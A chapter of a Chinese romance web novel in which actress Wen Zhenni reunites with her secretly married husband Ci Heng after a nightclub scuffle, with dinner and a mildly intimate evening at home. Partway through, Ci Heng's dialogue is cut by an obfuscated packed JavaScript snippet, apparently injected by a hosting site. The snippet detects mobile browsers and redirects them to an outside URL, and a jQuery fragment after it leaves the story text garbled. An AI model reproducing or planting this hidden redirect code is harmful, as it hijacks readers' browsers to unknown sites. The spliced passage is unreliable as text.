这一脚力道不轻,也突然,温珍旎没反应过来,茫然地怔在了原地。
林诺拨号报了警,捂着肚子骂骂咧咧的男人显然慌了,虚张声势地高声嚷道:“你们敢!知道我是谁吗就敢抓我,信不信我让你们在天海混不下去,唔唔——”
懒得听他瞎叫唤,林诺塞住嘴,叫来两个保安,将人拎走。
醉酒的女人躲在温珍旎身后,哭得满脸是泪,便叫了女服务员把人带到休息室,等着过会儿做笔录。
“怎么不说话了,刚才不是挺勇的。”
慈恒扣上衣扣,好整以暇地看着还没从惊吓中缓过神的女人。
“吓傻了?”
话还没说完,一个人影便飞扑上来,砸得他胸腔一震,剩下的半截话被迫咽了回去。
慈恒没有一点防备,踉跄了两步,皱着眉接住人,一只手按住从怀里拱出来的脑袋。
“surprise,惊不惊喜,意不意外!”
温珍旎仰起脸,墨镜后的眼睛盛满笑意。
非但没有意识到错误,反而一副求表扬的架势。
“嗯,确实惊喜。”
回来的第一面,就给他这么大的见面礼。
慈恒委实没好气,接过林秘书捡回来的高跟鞋,握住温珍旎的脚踝,帮她把鞋穿上。
“温珍旎,除了招惹我,原来你谁都敢惹。”
指尖的温度灼过冰冷的脚踝,眼前的一幕突然有了实感,这个常居异国的男人是真的回来了。
“才没有。”温珍旎小声狡辩了一句,却还是服了软,抱住慈恒的脖颈,叫出两个人都有些陌生的称呼。
“老公。”
慈恒心是软了,嘴还是硬的,按住她晃来晃去的身体,“叫老公没用。”
她身上的香水味是清甜的,他喉结滚了滚,“我要是不来,你准备怎么收场?”
温珍旎也是后知后觉自己行事莽撞了,可事出突然,她没办法做到袖手旁观。
“我知道通知安保啊,我又不傻,而且这里是冯振的产业,他不敢把我怎样。”
怕他没完没了地翻账,温珍旎赶紧转移话题,“你回国了怎么都不提前说一声。”
“以后你不想见我也难。”
三年任期一满就回国,是他答应奶奶的。
慈恒被她勒得喘不过气,解了领口的纽扣。
温珍旎晃他的手,慈恒把她的手拿下来,小声提醒,“你是女明星,注意点影响。”
“就抱了一下而已,又没怎样。”
温珍旎不管,反而抱得更紧,“老公老公,你看我是不是长高了些?”
慈恒毒舌地回她,“个子是长了,脑子还得补。”
温珍旎不甘心,“那更漂亮了?”
慈恒轻笑,垂眼打量她,像打量刚长出来的豆芽菜,“三年修炼成这样,你们公司给你换人设了,今年改走白骨精路线了。如果不是,我建议你报工伤。”
温珍旎:“……”
我说你别太毒了。
虽然在他嘴里没一句好话,但温珍旎是温室里用爱浇灌的花朵,给她一片阴霾,也能笑得比向日葵甜,“可是你比上次更帅了耶。”
慈恒软硬不吃,“视频的时候你没见过?”
“那不一样啊。”
“别歪歪倒倒的,站好。”
慈恒握住肩,把赖在身上的人扶正,顺手理好她脸上快蹭掉的口罩,“怎么就你自己出来,保镖助理哪去了?”
来这里的人非富即贵,隐私性相对较高,但她这张辨识度奇高的脸,还是容易暴露。
温珍旎看出他的担心,抿着唇笑,“我偷偷来的,没人看见。”
她挽着慈恒,走到电梯位置时,身后响起一阵仓促的脚步声,随之而来的是女人的声音。
“阿恒。”
温珍旎很好奇,想要看清对方的长相,被慈恒拽住胳膊拖进了电梯。
温珍旎:“我听到有人叫你。”
“无关人士,不用理会。”
数字键按下,电梯合上。
“饿了没有?”他问。
温珍旎按住胃,小弧度点头,“有一点。”
演唱会开了三小时,消耗极大,本来是要补充能量的,结果遇上资方饭局,饭没吃成,倒是喝了一肚子酒水。
不说还好,一说饿感就涌了上来。
慈恒拿出手机,往家里打了电话,交代准备晚餐。
“可是我的礼物还没给冯振。”
温珍旎给他看手里的袋子,“要不你在车上等我,我再上去一趟。”
“麻烦。”
慈恒皱眉,抢过礼物袋子,出了电梯后,直接丢给接待人员,“拿给你们冯总。”
可能是温珍旎大半张脸被遮住,时尚亮眼的外形依然惹人注目,接待人员小心翼翼看了好几眼。
慈恒有所察觉,不动声色地把人掩在怀里。
从锦煌夜宴出来,一上车,温珍旎迫不及待地摘了墨镜和口罩,两只手伸到慈恒面前,“我的礼物呢?”
坐进副驾的林诺,第一时间把一只玫瑰金盒递向后座。
慈恒打开给她,是一条海珍珠项链。
迎着光看,珍珠的光泽温润,白中还带了一点玫瑰红。
品相是肉眼可见的好。
“好漂亮,我很喜欢,谢谢老公。”
温珍旎把礼物收好,“今晚回紫金湾吗?”
“嗯。”
慈恒想了想,又说:“香山路的房子叫人收拾出来,你拍戏不方便的时候就住在那边,省得来回奔波。”
两人结婚只有亲朋知道,没有向外界公开,属于隐婚状态,而且婚后不久又异地分居,所以紫金湾别墅只有温珍旎偶尔去住上几回。
那边是天海市有名的富人区,偌大的别墅区仅有二十栋庄园式独立别墅,占地广袤,拥有最大的森林公园和生态湖泊。
浓厚的夜色下,劳斯莱斯在林荫掩遮的路上飞驰而过。
半小时后,车子开进去,入眼是一片林木环绕的绿茵草坪,草坪上伫立着一座法国枫丹白露式别墅。
很大气的宫廷风格建筑,庭院正前方是古典风格的喷泉,不远的地方栽种了一颗粗壮的楸树。
眼下是春天,还没开花,枝叶繁茂,绿意盎然,是一道不错的风景。
温珍旎喜欢那颗楸树,拉着慈恒,要他给自己拍照。
“老公,拍张照吧。”
夜里春寒重,她裹了件米色羊绒大衣。
高挑的身材,四肢匀称,比例很好,裙子下的双腿肌肉紧实有型,显得力量感特足。
因为健康活力,精神足,看上去气血很好的样子,粉丝形容她是快乐小狗,只要看到她,就会不自觉地被她的快乐和活力感染。
性格好是真的,但也挺能折腾。
慈恒表情不耐,还是打开摄像头,耐着性子给她拍照片。
最后温珍旎又叫来林诺,帮他们夫妻拍合影。
两人的拍照技术不相上下,都一样普通,温珍旎挑挑选选,才勉强挑出来两张。
“满意了没有?”
看她光着一双腿,就为了拍那几张照片,慈恒直皱眉,“满意就进屋吃饭。”
温珍旎应了一声,低头修着图,跟在身后。
女佣接过两人的包和外套,拉开两边的餐椅。
温珍旎看到是粥和南瓜饼,嘴巴翘得老高,“是粥啊。”
刘婶脸上堆笑,“太太想吃什么,我明天再做。”
外出活动的这几个月,温珍旎被严格控制饮食,早就馋疯了,“我要黄焖鱼翅,还有香酥鸡。”
“好。”刘婶笑眯眯地应下。
温珍旎没有忌口的东西,偏爱重口味,工作压力大的时候要吃,放松的时候要吃,反正为了口食物总有不重样的理由。
慈恒跟林诺说:“明天让厨师过来,只要她不介意,变着花样给她做,省得像没给她饭吃。”
说完看眼金座钟,“今晚就别想了,吃完去睡觉。”
“噢。”
他一回家就管东管西的,比她爹都能管。
温珍旎嗷呜一口,泄愤般地啃着南瓜饼。
顺手点开微博下饭。
演唱会上了几个高位热搜,都是人工搜上去的。
她无聊地刷了一会儿,吃完粥后,坐了片刻,就上楼洗澡。
好久没回这里,洗完澡,习惯性地巡视她的珍宝房,看一遍她收藏的宝贝,然后去化妆室护肤做保养。
慈恒送的海珍珠摆在梳妆台上,她戴上试了试,这男人的珠宝审美还是很不错的。
找好角度拍了照片,选了几张工作室发来的演唱会照片,凑足九宫格发了一条微博。
书房的静谧被突兀的微博提示音打破时,慈恒正坐在电脑屏幕前,处理海外分司的收尾工作。
从繁冗的工作中抽出精力,目光落在亮起的屏幕上,一条新鲜的微博通知正躺在通知栏里。
点开消息,随着页面的展开,他嘴角牵起一抹极淡的弧度。
发博人的头像,是一只咧着嘴尽情撒欢的卡通小狗,这头像从她换上的那天起,就再没变过。
粉丝们总爱叫她“快乐小狗”,因为喜爱,便催生了这只可爱的卡通形象。她一见就喜欢,特意问了画手授权,珍而重之地作为自己的头像。
微博文案是再平常不过的碎碎念,底下配着九宫格,记录了演出和日常碎片,还有一张带着项链对着镜头笑得眉眼弯弯的自拍。
慈恒把每张图都点开,浏览到最后一张时,书房门被轻轻叩响。
“老公,我可以进来吗?”
带着点小心而温柔的试探。
他抬头,看到推开的门缝里,温珍旎用力眨巴着的眼睛。
他把手机扣在桌上,“进来。”
得到许可,温珍旎推开门小跑进来,不等他反应,便大大方方地坐在他腿上,摘去那副严肃又碍事的眼镜,捧住脸,连着印了好几个响亮的吻,“谢谢老公的礼物。”
俊朗的脸被涂了几处湿漉漉的口水印,他眉头几不可察地蹙了一下,矜持镇定在妻子的热情攻势下荡然无存。
慈恒表情显得尤为无奈,“你的谢礼显得潦草。”
“是吗,那这样呢……”
温珍旎也不是扭捏的人,圈着他脖颈的手臂收紧,身体前倾,主动将自己的唇印上那片温软的唇瓣。
慈恒眸色骤然转深,没有半分迟疑,单手扶住她的后背,握住下颌,配合着她的动作。
舌尖撬动齿关,久违的情动。
他的吻不再是浅尝辄止的回应,而是带着近乎掠夺的强势,和灼人的热度。
分开太长时间了,身体竟然意外的很合拍,稍一撩拨就溃不成军。
轻易被撩起的情潮,冲刷着理智,温珍旎在他娴熟的攻城掠地下,化成了一滩温柔的春水。
她气息紊乱地软在他怀里,脸颊潮红,像被骤雨打湿的花朵,只能依附着他汲取氧气。
慈恒退开半寸,指腹碾过被他吻得水光潋滟的唇峰。
温珍旎偏开头,迷蒙的视线瞥见桌上亮着的电脑屏幕,满是诧异,“这么晚还要工作?”
“嗯,倒时差。”
慈恒撩起她垂落颈侧的一缕发丝,确定已经吹干,语气恢复了惯常的冷静自持,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861600|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有视频会议,你先去睡。”
什么意思嘛,把人撩拨得浑身难受,就不管不顾了。
“我不要。”温珍旎环着他肩膀的手臂收得更紧,带着点赌气的意味,不满地摇晃着,“每次你回京,我都在外地演出,一年到头都碰不了两面。”
被轻易点燃的火在身体里横冲直撞,不发泄出来,是会憋死她的。
“老公……”她捏着嗓子,刻意拉长了调子。
声音像带了钩子,又酥又麻,直往人心窝里钻。
慈恒的眸色沉得如同化不开的墨,箍在她腰侧的手,不轻不重地在她敏感的软肉上揉捏,“想要?”
温珍旎眼神满怀期待地点头,“可以吗?”
“现在不是招惹我的时候。”
他示意电脑,通知那栏一直在闪。
“好吧。”温珍旎眼底的光芒瞬间黯了几分,像被戳破的气球,泄气地鼓了鼓唇。
虽然有一丢丢小失望,但她的心态向来很好,调整了一下姿势,像只寻求安慰的小兽,把微烫的脸轻轻靠在他头顶,“我还不困,就安安静静地坐在这里陪你一会儿,总可以吧?保证不会打扰你开会。”
“你确定?”慈恒眼眸微微眯起。
温珍旎用力点头,努力让自己的表情看起来有说服力,“明天开始休假,可以睡懒觉。”
她说话倒是乖巧,手里却片刻不闲着,悄无声息地探进他微敞的领口,在他的胸膛上或轻或重地画着圈。
慈恒捉住手腕,无情地将那只不安分的小手从衣襟里拽出来,恰好有电话进来,他拍她的腿,示意她下去。
温珍旎有分寸,不打扰他接下来的工作,立刻收敛了玩闹的心思,从他腿上滑下来。
房间里摆了一张宽大的皮质沙发,她抱了自己的平板电脑躺过去。
橙子分享了几个链接,都是粉丝发在超话的高清直拍。
镜头追随着那道活力十足的身影,她的每一个动作都充满力量感,在强光下生动甜美的脸庞愈发夺目,仿佛天生的舞台掌控者。
出道五年,包括一心一意拼事业的这三年,也不是一无所获,至少她是凭自己的实力走到现在的地位。
温珍旎看得入神,唇角不自觉地弯起一个满足的弧度,指尖在屏幕上滑动,准备点开下一个直拍视频时,一声低沉而清晰的“嗯?”从书桌方向传来。
她撑起脸颊,下意识地循声抬眼望去。
开会的男人已经重新戴上了银丝眼镜,松弛地坐在书桌后,他换了一件宽松的居家外套,领口解开两颗纽扣,露出喉结和锁骨。
盯着看了几秒,见他没发现,目光便放肆地定在他脸上。
慈恒长相随他母亲庄明华女士,典型的浓颜,小时候长辈们就夸他会长,专挑父母的优点,五官随母亲,气质随父亲,尤其那双眼睛,深邃又漂亮,谁看了不说漂亮。
但就是太淡漠了,尤其盯着人看的时候,有一种无形的压迫,便显得过于疏离,没有亲切感。
不过嘛,好看的人从来不缺追求者。
初中那会儿开始,慈恒就声明在外了,每天不知道收到多少女生的情书和礼物。
那些富家千金更是出手阔绰,贵重的东西像不要钱似的。
只有闺蜜奚淼是个例外。
奚淼说这人不说话的时候是高岭之花,说话的时候像抹了砒霜,也就温珍旎才受得了他的少爷毛病。
温珍旎没反驳。
因为在她看来,慈恒是个有分寸的人,即使毒舌了一点,也无伤大雅。再说毒舌也很可爱的好吧。
认真搞事业的时候就更不用说了,整个人都在散发魅力。
耳塞里循环播放着直拍视频,温珍旎的思绪却慢慢飘远了,眼前只有慈恒那张赏心悦目的脸。
等再睁时,已经是第二天了。
温珍旎被来电铃声吵醒,发觉自己在熟悉的那张大床时,脑子有些发懵。
她摸索着抓过手机,按下接听键。
隔着屏幕,橙子的声音几乎刺破耳膜,“姐,你再不接电话,我就去上吊了。”
温珍旎捂了捂耳朵。
没明白,换了个方向继续躺,“怎么了嘛?”
电话那头深吸了一口气,“出大事了,浩然姐让你回一趟公司。”
温珍旎揉着蓬乱的头发,看了一眼时间,“!”
居然一觉睡到下午一点了。
温珍旎这回是彻底清醒了,挂断电话,赶紧起床洗漱。
梳妆完,匆匆忙忙地下楼,被正好从书房出来的慈恒一把揪住。
“跑这么快做什么?”
温珍旎没收住脚,撞到他的胸口上。
“老公早啊。”
温珍旎抱住他的手臂,看他满脸疲惫,一副没睡觉的情形,“你不会没睡吧?”
因为倒时差,慈恒早上将就在沙发上躺了片刻,这会儿打算下楼去走走。
头有点疼,他捏了捏眉心,“下楼吃饭。”
两人来到餐区,刘婶在厨房里炖汤。
温珍旎闻着香味凑过去,“好香啊,做什么好吃的?”
刘婶笑眯眯道:“快坐下,我给太太盛汤。”
炖了一上午的鲍鱼花菇鸡汤很快端上桌。
馥郁醇厚的香气瞬间漫开,温珍旎香迷糊了,美美地喝着汤,一边跟对面还在慢条斯理擦手的男人说:“老公,吃完饭我要去公司。”
“嗯。”慈恒放下餐巾,视线在她被汤水润泽过的唇上停留了一瞬,语气平稳地叮嘱,“注意安全。”
他略一沉吟,像是想到了什么,侧首对着侍立一旁的佣人吩咐道:“去备车,太太要用。”